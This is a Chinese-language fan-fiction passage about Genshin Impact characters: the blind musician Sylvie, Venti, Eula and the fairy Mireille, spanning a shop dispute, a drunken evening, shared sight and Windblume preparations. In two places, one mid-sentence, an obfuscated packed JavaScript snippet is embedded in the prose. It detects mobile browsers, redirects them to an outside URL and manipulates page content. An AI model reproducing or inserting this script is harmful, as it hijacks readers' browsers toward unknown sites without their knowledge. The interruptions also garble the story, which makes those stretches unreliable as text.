“咦?”希尔薇有点疑惑,不明白温迪怎么惹到了这位好脾气的小妖精。她眉眼弯弯地安抚着米蕾的情绪:“当然,今天下午的时光只属于我和你哦,米蕾。” 心情大好的米蕾率先飞出猫尾酒馆,希尔薇紧随其后。没走多远,就听见了一阵争执的声音,说是争执,更像是单方面的冷淡回应。 循着声音,希尔薇和米蕾走到了源头,蒙德城的杂货铺前。 杂货店的售货员布兰琪小姐正对着一位顾客说着什么,即使隔着一段距离,希尔薇也能听出她声音里的冷淡和不耐烦:“这是我们店里能提供的最好的东西了,优菈小姐。”她刻意加重了“东西”这两个字。 周围还有三三两两看热闹的居民在小声议论。希尔薇凝神细听了一会儿,便明白了缘由。 那位被称为优菈小姐的顾客,是劳伦斯家族的后裔。 在蒙德,很多时候,“劳伦斯”这个姓氏本身就足以说明一切。它象征着蒙德历史上那段被贵族压迫的、黑暗而残酷的旧时代,以及那些至今仍因家族姓氏、被困在过去阴影中的人们。 希尔薇本不该多管闲事,但紧接着,她听到了优菈清晰而冷静的声音:“我想你口中‘最好的东西’,上面这道明显的裂痕,似乎说明它并非完美无缺。” 这位优菈小姐似乎并没有被布兰琪的冷淡态度所影响或激怒,只是平静地指出了货物上存在的瑕疵。希尔薇心中一动,那冷静理智、带着一丝独特韵律的语调,以及遣词造句中不经意流露出的习惯……让她感到一种莫名的熟悉感。 人群看到希尔薇走近,自动为她让开了一小块地方。 希尔薇平静地走上前,站到优菈身边,温和地开口:“我想优菈小姐说得很有道理。” 布兰琪压根没想到希尔薇会出现在这里,更没想到她会为优菈说话。她看看希尔薇,又看看优菈,表情复杂。 没有人不喜欢这位心地善良、琴声动人的希尔薇小姐,包括布兰琪自己。 她还记得不久前,自己因为积压的货物迟迟卖不出去,加上连日劳累,情绪低落得厉害。 当时,正是这位希尔薇小姐察觉到了她的低落,站在蒙德广场的喷泉旁,拿出里拉琴,为她弹奏了一首舒缓的小曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969822|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹奏完后,希尔薇还特意走到她身边,轻声问道:“怎么样,听完曲子,感觉心情有没有好一点?” 布兰琪当时又惊又喜,关于希尔薇小姐的名声她早就听说了,但万万没想到,这位备受追捧的演奏家竟然会特意为她这样一个普通店员弹奏一曲。 要知道,外面邀请希尔薇小姐去私人舞会演奏的报价,早已是一笔不菲的摩拉了。 “很…很好听,希尔薇小姐,您的曲子…非常好听。”布兰琪当时有些局促又感动地说道。 “希望我的曲子能像一阵清风,暂时吹散你心头的疲惫和烦恼,”希尔薇当时这样温柔地说。 没有人愿意将自己生活的不如意、工作中的烦恼与委屈,暴露在这样一位光是存在就让人觉得美好的小姐面前。布兰琪看着眼前的希尔薇,想到她曾给予的善意,脸色变了变。 她最终只是冷哼了一声,声音不大:“算你好运。”然后不情不愿地为优菈更换了完好的货物。 “劳伦斯家的走狗……”这句带着怨气的低语飘散在空气中,虽然声音压得很低,但在场离得近的人还是隐约听到了。 等布兰琪离开后,这位劳伦斯家族的后裔优雅地转过身,朝着希尔薇伸出了手,声音带着一种克制的礼貌:“您就是希尔薇小姐吧?久仰大名。” “咦?”希尔薇小小的疑惑了一下,没想到优菈竟然知道她的名字。优菈将换好的货物交给一位一直安静站在旁边、穿着西风骑士团制服的年轻女骑士。 那位骑士看了看两人,脸上露出欣慰的表情,心想:看来队长这次终于有机会交到朋友了! 原本采购补给这种事,通常是由游击小队里其他不那么“显眼”的队员负责的。 对于普通的游击小队成员,蒙德民众倒是没有那么大偏见。但看到队长优菈每次进城采购都遭受冷遇,游击小队的队员们急得团团转,想尽了办法。 经过这段时间的并肩作战,她们深知优菈队长正直可靠,与那些腐朽的旧贵族截然不同。 可偏见就像一座沉重的大山,难以撼动,也不知道是谁想出的“馊主意”,提议让队长亲自负责采买,认为“接触多了大家就会了解队长的为人”。 游击小队的成员们凑在一起窃窃私语,低声互相打气:“没错!只要大家多接触几次,肯定能发现队长的好!” “嗯嗯,一定会这样的!”另一名队员肯定地附和道。 于是,这个“重任”就落到了优菈头上。优菈虽然嘴上抱怨着‘这个仇我记下了’,显得不太情愿,但还是认真接下了任务。 真是的,希尔薇心想。那些旧贵族再怎么训练,无非是些刻意拉开与他人距离的繁复礼仪和腔调。好像只有这样才能彰显自己的高贵,真正的高贵又哪里是由外在的礼仪和规矩来决定的呢? 总有一些人,他们的灵魂在闪闪发光,希尔薇在心中这样感慨着。 还没等希尔薇从思绪中完全回神,就听见优菈再次开口,声音平静却带着一丝欣赏:“我早已听闻蒙德城的猫尾酒馆,来了一位能用琴声打动人心、技艺精湛的盲眼少女。” “诶?”希尔薇的语调带着点小小的惊讶和困惑,“我的名声……有那么响亮吗?”她确实没想到自己的名字会传到这位看起来事务繁忙的西风骑士耳中。 16. 风语[十六] 那位浪花骑士向希尔薇发出了邀请,一个邀请她一起喝杯酒的邀请。希尔薇很少喝酒,说起来,她最近一次沾酒还是上次在猎鹿人餐厅和温迪一起……等等,不能再想下去了。 可是,拒绝别人同样是希尔薇感到困难的一件事情。 希尔薇并不擅长拒绝别人的好意,这样想着,她最终还是同意了优菈的邀约。 “好,”这位游击骑士队长向希尔薇伸出手,“需要我牵着你吗?” 这是个细心且懂得照顾他人感受的人呢,希尔薇在心里初步奠定了对优菈的第一印象。 她轻轻摇头:“下次优菈还是不要对盲人这样说呢,贸然将自己的手交给别人,会让人变得没有安全感的。” “而且,米蕾是我的眼睛,她能指引我的方向。” 说完,米蕾便从希尔薇的发间轻盈地飞了出来。她好奇地看看优菈,又看看希尔薇。敏锐的妖精似乎察觉到了某种相似的气质,飞到希尔薇耳边小声说:“这位骑士小姐,感觉上和你有点像呢……” 她们同样出身于贵族,同样渴望挣脱家族的束缚。 希尔薇只是笑了笑,没有接话。她跟在优菈后面,说道:“走吧。” “我们一起去喝一杯。”希尔薇这样答道。 沿着蒙德城铺着石板的主干道走向天使的馈赠,如果说猫尾酒馆是氛围温馨、适合听曲小憩的地方,那么天使的馈赠绝对是酒鬼们最常光顾的据点。 这里的酒品类繁多,五花八门,只有你想不到,没有你找不到。 让希尔薇暗自庆幸的是,天使馈赠的老板迪卢克似乎不在店里。不然要是那位老板看到她点酒,再冷冰冰地来一句“未成年不得饮酒”,希尔薇会感到非常尴尬。 优菈开了一个安静的包间,她在野外执行任务时不太饮酒,因为手下的队员在夜晚放松时可能会小酌几口,她必须时刻保持绝对的清醒和警觉,确保所有人的安全。 但在蒙德城里,优菈倒是愿意点上一杯。酒精带来的微醺感能让人暂时放松,连带着那些不美好的过往记忆,和时刻背负的沉重偏见,似乎也能短暂地搁置一旁。 她照常让侍者上了一杯自己常喝的蒲公英酒,见希尔薇也不像是能喝酒的样子,优菈原本打算给她点一杯果汁。 倒是米蕾抢先开口,声音响亮却带着点心虚:“希尔薇想喝酒!” 希尔薇“看”了一眼米蕾的方向,瞬间明白了,是小妖精想尝尝酒的味道。当优菈再次确认“真的是这样吗?”,希尔薇点了点头,算是默认了,也为了满足米蕾的小小愿望。 因此,优菈特意点了一杯度数最低、口感最温和的树莓甜酒递给希尔薇。 希尔薇朝着侍者要了一个小小的试酒杯,笑着为米蕾盛上浅浅一底,“就当是这次的特别体验吧,米蕾。” “嗯嗯!”米蕾欢快地应着,捧起那个对她来说不小的杯子,小心地将头探进去啜饮。 优菈面前的桌子上倒是摆上了几瓶酒,毕竟优菈的酒量在骑士团是出了名的好,甚至有“千杯不醉”的戏称。 希尔薇乖巧地坐在优菈对面,心里有点打鼓:自己就这样跟一位刚认识不久的人出来喝酒,是不是有点冒失?但感受到对方身上坚定的气息,以及那以及那清冽如寒冰的元素力,希尔薇倒也放松了一些。 她拿出杯子,小小地抿了一口。 不太清楚希尔薇的喜好,优菈特意点了最受小姐和夫人欢迎的树莓甜酒。这种酒果香浓郁而带着甜意,蒙德的少女结伴出游时就很喜欢带上这种酒小酌几杯。 但是,优菈万万没想到,希尔薇的酒量简直是出人意料的浅薄!一杯喝下肚,希尔薇就有些迷迷糊糊了,白皙的脸颊就迅速染上了明显的红晕。她看眼前的优菈都出现了重影,当希尔薇困惑地问:“优菈,怎么……好像好像有两个你?”时,优菈立刻意识到了不对劲。 这位看起来清雅沉静的少女,居然是个“一杯醉”。 “希尔薇,”优菈难得放柔了声音,“你以前没有喝过酒吗?” 希尔薇迷茫地摇着头,她晃晃脑袋,想要努力保持清醒,结果却不小心将桌子上的一个空杯子碰倒了。 “抱歉哦……”都到这个时候了,希尔薇居然还在道歉。优菈看着她这副样子,简直哭笑不得,正好她也喝得差不多了,身形高挑的骑士站起身,问道:“希尔薇,你还能自己站起来吗?” “嗯……应该能的。”希尔薇说着,扶着桌子边缘,努力想站起来。“碰!”一声轻响,她没能成功站起来。这着实是一件尴尬的事情,她脸上的红晕更深了,显得有些窘迫。 她将求救的目光“望”向优菈的方向。优菈无奈地扶额,伸出手稳稳地搀扶住希尔薇的胳膊。米蕾的酒量倒是比希尔薇预想的好很多,她那小杯酒快要见底了,看起来一点醉意也没有。 “希尔薇,”米蕾飞到希尔薇肩膀上,“你醉了吗?” 希尔薇点头,声音也变得软绵绵、带着点含糊不清的甜腻:“我想……应该是这样的,米蕾。” 把这样一位明显醉酒的少女独自留在天使的馈赠,优菈会非常愧疚。幸好米蕾还记得回葛罗丽家的路,优菈一路小心地搀扶着脚步虚浮的希尔薇,将她安全送到了葛罗丽家,这位负责又细心的骑士才转身离开。 跟希尔薇一样,这位同样双目失明的小姐对于优菈没有半分偏见,只是真诚地感谢她将希尔薇送了回来。 “这应该是我的疏忽,”骑士这样说着,“我明明是想感谢希尔薇小姐的。” “请不要这样说,”葛罗丽温和地打断了优菈的自责,“能帮助朋友的朋友,我也很高兴。况且,希尔薇看起来很开心能认识你。”这句话让优菈感到一丝惊讶。 现在,优菈算是明白为什么希尔薇会和葛罗丽小姐成为朋友。从某种意义上来说,两人都拥有一种独特的、透过表象感知本质的能力,换种说法,她们都懂得如何心去观察这个世界。 等优菈走后,葛罗丽将希尔薇扶进房间,声音带着几分担忧:“你还好吧,希尔薇?” “我还好……”希尔薇这样说着,但每一次呼吸都带着淡淡的甜酒气息。她这个样子反而让葛罗丽更不放心了。可葛罗丽同样行动不便,能帮上的忙实在有限。 察觉到葛罗丽的担忧和无措,希尔薇笑着安慰对方:“我真的没事的,葛罗丽。我一个人可以的,再说了还有米蕾呢。”听到这话,米蕾立刻挺起小胸膛,努力做出可靠的样子。 在希尔薇的再三保证下,葛罗丽才慢慢地退了出去。等葛罗丽走后,希尔薇倦怠地坐在床边,感觉头重脚轻:好累……果然酒精不是什么好东西……她这样想着。 窗外似乎有风声,希尔薇呼唤:“米蕾?”这一次,妖精没有像往常那样立刻回应,她正抱着自己那小小的酒杯,趴在桌角呼呼大睡呢。 希尔薇察觉到一股熟悉得不能再熟悉的气息,还没等她摸索着去打开窗户,一阵压抑的喷嚏声和窸窸窣窣的风声就在窗外响了起来。 接着,她感觉床边微微一沉,像是有人轻轻坐了下来。 希尔薇眼疾手快,凭感觉伸出手准确地捂住了来人的嘴,堵住了他下一个即将出口的喷嚏。温迪温热的呼吸喷洒在她的掌心,痒痒的。 强撑着精神的希尔薇说道:“我……我去换个衣服。”她像是想起了什么,难得地主动将头靠近温迪身上,声音带着醉后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969823|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软糯和一丝任性:“你……你来帮我换。” “什……?!”温迪简直要惊讶得跳起来了!“希尔薇!”他努力控制着自己又想打喷嚏的冲动,声音都变调了,“你……你就不害怕吗?不害怕我……我……”他有点说不下去。 希尔薇的头还靠着温迪的肩膀,她学着少年平时撒娇的模样蹭了蹭,然后掰着手指头,醉醺醺地、逻辑却异常清晰地反驳:“不要骗我……我可是看过很多书的……” “书上都说了……都说了……”她努力回忆着,“神明看待凡人的躯体,如同看待落叶与尘埃,并无世俗的欲念。” “人的身体在神面前只不过是转瞬即逝的躯壳……” “还有……凡俗的情欲,对永恒的神明而言,不过是过眼云烟……” “啊……”温迪听着她这番醉后“高论”,心里无奈又好笑,“这样可不好,希尔薇小姐……”他轻声嘀咕着,“毕竟现在在你身边的,可不是什么无欲无求的神明,而是一个有着凡人心思、深深爱慕着你的‘人’啊。” “太……简直太犯规了,希尔薇小姐,”温迪感觉自己的脸颊烫得惊人。 温迪从来没感觉到自己那一刻是那样的僵硬,比面对特瓦林的咆哮还要手足无措,米蕾那个信誓旦旦要保护希尔薇的小妖精早就沉沉睡去。 他的指尖微微颤抖着,小心翼翼地触碰到少女衣物的系带,解开结扣。他的眼睛根本不知道该往哪里看,只能死死盯着天花板。他又想到,幸亏希尔薇小姐已经醉了,不然肯定能“看”见他这张红得快要滴血、写满慌乱和羞赧的脸。 整个过程,温迪屏住呼吸,动作轻柔得像是在触碰易碎的晨露,心里默念着各种诗歌来转移注意力。 等到好不容易为希尔薇小姐换上舒适的睡衣,将沾上猫毛的外衣放到房间角落的椅子上,温迪感觉自己紧张得快要虚脱了,后背都渗出了一层薄汗。 他万万没想到,希尔薇小姐居然是一杯醉!而且,而且醉酒后的她,言行举止简直和平时判若两人。 换上睡衣的希尔薇,平日那种沉静优雅的距离感似乎消失了,反而像只卸下所有防备、露出柔软肚皮的小猫一样,蜷缩在床上。 温迪心跳如鼓地看着希尔薇,没想到希尔薇也在“看”他,而且,她竟然睁开了那双总是紧闭着的眼睛。温迪第一次如此清晰地看到了那纤长金色眼睫下覆盖的眼睛,那双如同融化阳光般纯粹温暖的金色眼眸。 只可惜,这双美丽的眼睛是无神的,氤氲着迷蒙的醉意,只是茫然地“望”着温迪所在的方向。 要命!要命!现在的温迪终于暂时忘记了打喷嚏的冲动。原本舌灿莲花、最擅长用语言打动人心的诗人,此时却根本不知道该说些什么好,房间里流淌着希尔薇常用的塞西莉亚花香薰的淡淡香气。 “温迪……”希尔薇这样叫道,她的语气也和平时不一样,带着点慵懒和醉后的甜腻。 她伸出手指,指向书架的方向,虽然方向不太准:“我要听你给我讲故事……温迪。讲那本……《蒙德的高塔》……” “啊……”温迪心里确实掠过一丝小小的、自己也说不清的失落,他甚至都不知道自己到底在失落着什么。 但他很快将这丝情绪抛开,看着眼前难得流露出孩子气、依赖着他的希尔薇,心软得一塌糊涂。他坐到床边,清了清嗓子,用他那能安抚特瓦林的温柔嗓音,开始讲述那本《蒙德的高塔》的故事。 “在很久很久以前啊,蒙德还不是现在这样自由的样子……”温迪的声音如同最轻柔的夜风,缓缓拂过寂静的房间。 希尔薇安静地听着,那无神的金色眼眸依然“望”着他,但身体却渐渐放松下来。 17. 风语[十七] 早上起来头有点疼,幸好希尔薇还记得昨晚的事情。她仔细回想了一下,发现自己并没有说出什么不该说的话,这才放下心来。 本来打算将昨晚的衣物送去干洗店,然后就听见米蕾说衣服已经被人洗了,还贴心地挂在窗边通风的地方晾着。 “看来,昨晚来了个默默帮忙的好心人呢。”希尔薇微笑着说。 米蕾也已经清醒过来,愧疚地绕着希尔薇飞:“对不起,希尔薇,我昨天不知道怎么就醉过去了,没能好好照顾你。” “没事的,”希尔薇温柔地说着,伸出手指轻轻点了点米蕾的小脑袋,“你也很努力了。” 她问道:“现在几点了?” 米蕾向挂着挂钟的方向看去,“已经十点了呢,希尔薇。” 葛罗丽明显知道希尔薇的情况,今天出门时不光没有打扰她,还贴心地帮希尔薇带了一份美味的火腿三明治放在桌上。希尔薇换好衣服,吃过这份迟来的早餐后,才慢悠悠地出门。 她觉得她现在可能想见见温迪,没什么别的想法,她只是想看看他而已。 走到诗人最常光顾的天使的馈赠,里面已经传来了悠扬的琴声,听上去是个年轻人的声音。 希尔薇不想打扰演奏,安静地等在门外,等琴声结束后才推门走了进去。六指乔瑟的琴声似乎因为她的出现而微微乱了一瞬,而后他收起琴,凑到希尔薇面前,保持着礼貌的社交距离。 “这位美丽又善良的小姐,”乔瑟有些结巴地开口了,“或许……或许您愿意驻足片刻,听一听一位吟游诗人的乐声?” 希尔薇确实不擅长拒绝别人,对方都这样邀请了,她只好在离他不远处的椅子上坐下:“好的,先生,我想您的音乐一定非常动人。” 这句话似乎给了那位吟游诗人莫大的信心,他挺起胸膛:“当然!这次我的故事可是以蒙德最近那位英雄,旅行者和他的伙伴为蓝本创作的!” 说实话,这位吟游诗人的歌声算不上难听,弹奏曲子也中规中矩。可已经习惯了希尔薇和温迪演奏的米蕾,就有点小小的不乐意了。 她偷偷飞出来,环顾着四周,似乎在寻找着什么。 当在二楼发现一个熟悉的身影,米蕾立刻飞了过去。希尔薇教过她,不可以当着别人的面说别人的坏话。 坐在二楼的温迪正悠闲地晃着酒杯,米蕾飞到他面前,小声抱怨:“我不喜欢那个人的音乐!”妖精天生亲近美妙的旋律,普通的歌声很难真正打动她们。 “是吗?”温迪笑道,带着点促狭。然后米蕾突然靠近一点温迪,小鼻子皱了皱:“你身上酸酸的,像坏掉的苹果酒,不好闻。”温迪无奈地耸耸肩,假装没闻到。 等乔瑟的乐声快要结束时,米蕾才飞回希尔薇身边。看那位吟游诗人似乎还想继续演奏下一曲,希尔薇不得不温和地打断他:“抱歉先生,我想我还有些事情,就先离开了。” 乔瑟急急忙忙地收起琴:“等等,小姐!我能问问……我什么时候还能再见到您吗?” 这次,希尔薇脸上带了些许苦恼。她转过身,面对着声音的方向,对那位有些莽撞的诗人清晰地说道:“谢谢您的好意,先生。不过,我已经有喜欢的人了。” “好……好吧。”乔瑟有些失落地应道,希尔薇将诗人失望的目光抛在身后,听着米蕾在耳边小声嘀咕着温迪的位置。原本打算去二楼找温迪的希尔薇刚踏上楼梯,那位绿衣的吟游诗人就像一阵风般来到了她身边。 “希尔薇~”诗人用夸张又带着点委屈的语调唤道,伸出手,似乎想牵起希尔薇的手。 希尔薇这次没有拒绝,任由他的指尖轻轻滑过自己的掌心。“你刚刚明明在,为什么不来找我?”她轻声问道。 温迪握紧她的手,十指自然地交扣,声音里带着笑意和一丝坦诚:“因为希尔薇小姐太美好了呀。所以诗人偶尔也会有一些小小的、自私的想法呢,比如说……想把希尔薇小姐藏在一个谁也找不到的地方,只给我一个人唱歌听。” 爱是想要靠近,也是想要独占的。希尔薇与温迪十指相扣,不自然地顿了顿,看着他的方向,“好吧,我原谅你的这点‘小心思’了,温迪。”她这样说着,嘴角带着笑意。 “那么,作为补偿,”温迪牵着希尔薇的手,语气轻快,“今天,我为希尔薇小姐准备了一个小惊喜哦!保证让你开心!” 米蕾看着温迪又看看希尔薇交握的手,最后气鼓鼓地坐在希尔薇的肩膀上,指责地开口:“希尔薇!你明明就说好今天下午只跟我一起的。” “怎么会忘了我们可爱的小米蕾呢?”温迪立刻凑到米蕾眼前,笑容灿烂,“我们今天去星落湖!那里不光有清澈见底的湖水,还有蹦蹦跳跳的小麻雀。说不定米蕾还能享受到一场由‘世界上最好的吟游诗人’——也就是我本人!专门为你演奏的超级好听、绝无仅有的音乐呢。” 看着温迪三言两语就将米蕾哄得晕头转向、忘了刚才的不快,希尔薇无奈扶额:“温迪,如果你去哄孩子的话,一定会很受欢迎。” “哎嘿~”那位吟游诗人又露出标志性的笑容,凑近到希尔薇面前,绿眸闪闪发亮,“可现在我只想要希尔薇小姐亲口承认的‘追求者’身份呢!” 这次,希尔薇没说话,脸却像被晚霞染过一样慢慢地红了起来。 一阵清风拂过星落湖,带来湿润的水汽。希尔薇好奇地“打量”着周围,她能清晰地感知到湖水的湿润气息,以及在星落湖中央,在她感知中凝聚着浓郁风元素的风神像。 “这是……”希尔薇开口,带着一丝猜测,“七天神像吗?” “嗯嗯!”温迪笑着承认,“或许希尔薇将手放上去的话,会有意想不到的收获哦?” 希尔薇听完温迪的话,将手轻轻放在七天神像冰凉的石质表面上。 她感受到了澎湃的元素力,这与之前模糊的感知截然不同。 如果说之前她“看”元素力是雾中看花,那么这一次,仿佛拨开了层层迷雾,她能清晰地感受到活泼的风元素在她身边欢呼雀跃,仿佛在欢迎她的触碰。 与其说是凭空产生的元素力,倒不如说是七天神像本身蕴含的元素力主动回应了她。希尔薇尝试着,掌心竟真的凝聚起一小团活泼跃动的青色风元素力,她惊讶地转过身,将掌心那团小小的风球展示给温迪:“这是怎么一回事?” 温迪的指尖带着笑意,轻轻触碰到希尔薇掌心的风元素。那团风元素调皮地“噗”一声在两人之间散开,化作一阵轻柔的风,吹乱了希尔薇金色的发丝和温迪帽檐下的碎发。 “是因为你,希尔薇,”少年神明脸上带着无比温柔的神色,“因为,你是风所眷顾的孩子。” 他耐心地解释:“如果说神之眼是一种通用的钥匙,能让符合条件的人借用天地间的元素力。” “那么七天神像,就是风神……在蒙德大地上留下的特殊许可。只有极少数被他认可、与风有着深刻共鸣的人,才能像这样直接引导神像中存储的风元素力。这是一种特别的信任和联系。” 这样被人毫无保留地特殊对待的感觉,让希尔薇心头涌起一股暖流,但也伴随着一丝无措。 她发现自己似乎做了一个“错误”的决定,因为她根本不知道该如何去回应这样厚重的情感。 “温迪,”希尔薇“注视”着他,声音带着一丝不易察觉的颤抖,“你可不可以……不要对我这么好?” 如果他不是这么温柔,这么毫无保留……希尔薇就不会感到如此惶恐,也不会觉得自己欠下永远还不清的债…… 温迪敏锐地听见了希尔薇声音里的动摇和不安。于是,他凑近希尔薇,轻轻低下头,一个珍重而温柔的吻落在希尔薇的金色长发上:“那希尔薇可不可以……试着多喜欢我一点点?说不定喜欢着喜欢着,你就会发现,这份心意本身就是最好的‘回报’,不需要任何偿还呢?” “这是第一件礼物,”温迪轻声说着,然后他微微前倾,一个吻轻轻印在希尔薇的唇上。 与其说这是一个普通的吻,倒不如说是一种契约,像是狄安娜曾给她的古老魔法卷轴。 就在契约完成的瞬间,希尔薇的眼前骤然亮起一片柔和的光芒。 这突如其来的光亮让她下意识地想要闭上眼睛躲避,她转过头,指尖本能地紧紧抓住了温迪的手臂。 隔了漫长的岁月,希尔薇终于再次清晰地“看”到了这个世界,一个充满色彩、光影和形状的世界。 温迪把自己的眼睛分享给了希尔薇小姐,也就是说她能用他的眼睛去看这个世界。 最先映入她“眼帘”的,是近在咫尺的、一张属于她自己的脸庞,那是温迪眼中她的样子。 希尔薇有点慌神,下意识地伸出手,轻轻将温迪的脸转 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他们牵着手走到果酒湖边缘,湖水清澈见底。希尔薇低头,透过如镜的水面,第一次清晰地看到了温迪的倒影。 他有着一双比她想象中更加明亮、充满生机,如同初春新叶般的翠绿色眼眸。这位风的神明,毫无疑问拥有一张清秀俊逸、令人见之忘俗的面容。 温迪的声音带着一丝不易察觉的紧张和期待,轻轻响起:“怎么样,希尔薇?看到的世界……还喜欢吗?” “我很开心,温迪,谢谢你。”希尔薇小姐看着水中倒映的两人,忽然轻声说,“但我好像……欠下了一大笔永远也还不清的债务呢。” 然后,她转头,用这借来的视线“看”着温迪倒映在水中的眼睛,认真地问道:“温迪,你知道有什么方法……能让葛罗丽也重新看见这个世界吗?” 希尔薇没有问如何治疗自己,而是先问起了同样失明的葛罗丽。 这样时刻关心着别人的希尔薇,让温迪心中涌起一股复杂而柔软的情绪,有怜爱,也有轻微的无奈。 他透过湖水看着希尔薇专注的侧脸,希尔薇也通过他的眼睛看到水中自己的倒影——这种奇特的视角让两人都感到一丝新奇和微妙。 “希尔薇是希望我出手,直接治好葛罗丽的眼睛吗?”温迪问道。 希尔薇立刻摇着头,语气坚定:“不,温迪。如果你那样做的话,我会……我会很失望的,甚至可能会讨厌你。” 她想起了那位修女罗莎莉亚说过的一句让她印象深刻的话:“神或许能庇护所有人,可他不会这样做。否则,人的苦难就成了笑话。” “如果你今天轻易治愈了葛罗丽,”希尔薇解释道:“那明天,可能就会有无数人向巴巴托斯祈祷。后天祈祷治愈绝症,大后天祈祷赐予无尽财富,永无止境地向神索取,希望神消除所有病痛,希望神赐下荣华富贵……希望神直接解决他们人生中遇到的一切困难。” “所以,温迪,”希尔薇的声音柔和下来,“我向你询问的,是‘方法’,是‘可能性’,而不是去直接追求那样一个由神力轻易达成的‘结果’。” 苦难,有时候是生命旅程中不可避免的一部分,它塑造我们,给予人类存在独特的重量和价值。 神明存在的意义,或许不是替人负重,而是守护人们负重前行的勇气。” “可是……”希尔薇的声音低了下去,带着一丝不易察觉的脆弱,“我自己能忍受黑暗,却见不得葛罗丽在黑暗中摸索……这何尝不是另一种自私和矛盾呢?” 她站在风神像下,轻轻阖上自己无法视物的眼睛。 温迪就静静地这么看着她,感受着她那份超越自身苦难的温柔与清醒。 直到希尔薇伸出手将他的头转向另一边,自己看自己什么的,感觉实在太奇怪了。 对于风神巴巴托斯,希尔薇心中有着清晰的认知,他就在那里,不需要时刻彰显神迹,只需要让蒙德的人们知道,在漫长的岁月里,有这样一位神明存在过。 他曾在高塔孤王的阴影下奏响自由的序曲,引导人民建立起这座无拘无束的城邦;他也曾见证旧贵族的腐朽,在无声的注视中,看着蒙德的人民依靠自己的力量打破枷锁,赢得新生。 从遥远的过去到现在,这位神明,一直都在默默注视着蒙德。 18. 风语[十八] 希尔薇和温迪的手紧紧相扣,走在回蒙德城的路上。她仔细回忆着温迪的话:“我记得须弥有一种特殊的植物,叫做‘灵光花’,它的汁液据说能短暂刺激人的视觉神经,甚至对某些类型的失明有辅助治疗的效果。” 希尔薇认真听着,心里重新点亮了希望,“我会把这个好消息告诉葛罗丽的。” “什么呀,”温迪忽然又凑近希尔薇,带着狡黠的笑容,“别以为我不知道哦,希尔薇其实也在偷偷寻找让盲人重见光明的方法吧?” 希尔薇没有否认,反而伸出手指,轻轻点了点温迪的鼻子,语气带着点认真:“温迪,你现在不要看我。” 她需要一点空间来整理此刻的心情。 温迪立刻做出委屈的表情,声音拉长:“啊——希尔薇小姐讨厌我了吗?” 希尔薇的心瞬间软了,她伸出手,指尖温柔地触碰到温迪的脸颊轮廓:“怎么会讨厌你呢,只是……如果有可能的话,我更想用自己的眼睛这样看着你,就像你看着我一样。” 她顿了顿,“现在,请收回共享的视觉吧。” “嗯?为什么?”温迪有些不解,绿宝石般的眼睛里带着纯粹的困惑,“希尔薇不想多看看这个世界吗?” 希尔薇微微摇头,这种感觉像是从一场过于美好的梦境中缓缓醒来,心底泛起一丝空落落的感觉。 她巧妙地避开了这个话题,转而担心起温迪,“这样共享视觉对你会有损耗吗,温迪?会不会消耗你的力量?” “不会的,希尔薇,”温迪笑着摇头,语气轻松得像是在谈论天气,“就当是风神施展的一个小小魔法吧,完全不用担心我。” 察觉到温迪轻松的样子,希尔薇虽然安心了些,但心里依然半信半疑。 为了在下午两点前赶回猫尾酒馆工作,两人加快了脚步。今天酒馆的客人数量跟往常差不多,温迪却对那些毛茸茸的小猫咪敬而远之,只能可怜兮兮地站在门口,目送希尔薇走近了充满猫咪的世界。 一进门,希尔薇就察觉到今天的气氛格外不同,空气中弥漫着一种兴奋的躁动。 打听了一下才知道,原来还有一周就是蒙德最重要的节日,风花节了。 风花节是蒙德最富特色的节日,在这一天,人们会放下工作,走上街头庆祝,用鲜花装点城市,向亲友赠送精心挑选的“礼物”。 风花节的雏形可追溯至旧蒙德时期,当时烈风魔神迭卡拉庇安以高塔与暴风统治蒙德,人们生活困苦,反抗者们以“风之花”为暗语传递希望。 后来风之精灵巴巴托斯受感召,以神力终结了冰霜时代。 旧蒙德解放后,人们设立风花节以纪念这场抗争史诗。随着和平年代的延续,风花节的沉重底色逐渐被自由与浪漫浸染。 而且,在节日庆典的最高潮,人们还会齐聚广场,共同为风神巴巴托斯献上象征蒙德精神与自由的风之花。 听着周围酒客们兴奋地议论着风花节的安排、该送什么花,玛格丽特老板笑盈盈地走到希尔薇身边,“说起来,现在的风花节啊,也慢慢演变成了表达爱意的节日呢,” 她促狭地眨眨眼,“年轻的男女会借机向心上人赠送风之花,表明心意,所以,”玛格丽特话锋一转,带着好奇,“我们可爱的希尔薇有喜欢的人了吗?” 这并不是一件多么难以启齿的事情。希尔薇干脆利落地点头,脸上带着坦然的笑意:“是的呢,玛格丽特小姐。” “哦?”这下玛格丽特是真的惊讶了,她饶有兴趣地追问,“是谁这么幸运,摘走了我们猫尾酒馆最美丽的花?”希尔薇只是笑了笑,白皙的脸颊却不自觉地泛起了红晕,她轻声回答:“这是秘密,玛格丽特。” 今天的希尔薇表现得格外“冷酷”,她特意避开了那些在她脚边打滚撒娇、试图引起她注意的猫咪,脚步匆匆地走出了猫尾酒馆。 温迪正在猎鹿人餐厅的露天座位等着她,见她来到身边,温迪立刻扬起一个灿烂的笑容:“希尔薇!忙了一下午饿了吧?要尝尝‘风神的祝福’特色料理吗?” 说是特色料理,其实就是用四份胡萝卜、四份土豆和少量洋葱炖煮的杂烩菜。 希尔薇不太喜欢过于辛辣的味道和洋葱的刺激气味,所以温迪特意减少了洋葱的份量,并将整体口味调得更加温和清淡。 